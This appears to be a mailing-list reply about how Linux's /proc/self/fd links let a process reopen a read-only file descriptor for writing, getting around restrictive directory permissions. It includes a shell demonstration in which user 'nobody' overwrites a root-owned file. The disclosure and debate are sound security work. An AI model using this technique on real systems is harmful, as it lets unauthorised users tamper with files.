Re: /proc filesystem allows bypassing directory permissions on Linux

0700 mode from the origin, you would be right, and procfs wouldn't allow
opening files in that directory too, but if you let others to traverse
that directory and open your believed to be secure files from the origin,
it's your fault.

I can do the example with fd passing and 700 directory, but it would
be lot of C code. Feel free to play, my example was not nearly the
only way to demonstrate it, and no, it was not racy.

Here is an example that shows the behavior where a passed read-only fd
can become read-write by reopening it through /proc, when file
permissions allow it (but directory permissions do not):

$ sudo su
# mkdir -m 0700 /dir
# echo "safe" > /dir/file.txt
# chmod 0666 /dir/file.txt
# ls -al /dir
total 12
drwx------ 2 root root 4096 2009-10-29 00:28 .
drwxr-xr-x 27 root root 4096 2009-10-29 00:28 ..
-rw-rw-rw- 1 root root 7 2009-10-29 00:43 file.txt
# cat /dir/file.txt

Now user "nobody" cannot read or write this file:

# su nobody -c 'cat /dir/file.txt'
sh: /dir/file.txt: Permission denied
# su nobody -c 'echo "hacked" > /dir/file.txt'
sh: /dir/file.txt: Permission denied
# cat /dir/file.txt

If we provide an open read-only file descriptor (as stdin, fd 0), they
can read it:

# su nobody -c 'cat <&0' < /dir/file.txt

But they still can't write to this descriptor:

# su nobody -c 'echo "hacked" >&0' < /dir/file.txt
sh: line 0: echo: write error: Bad file descriptor

Unless we re-open the file using the magic link in /proc:

# su nobody -c 'echo "hacked" >/proc/self/fd/0' < /dir/file.txt
# cat /dir/file.txt

Again, debatable whether this is a bug, but it's certainly
non-obvious. There is no other way (that I'm aware) for the "nobody"
user to gain write access to /dir/file.txt, even when given a
read-only fd, without using /proc.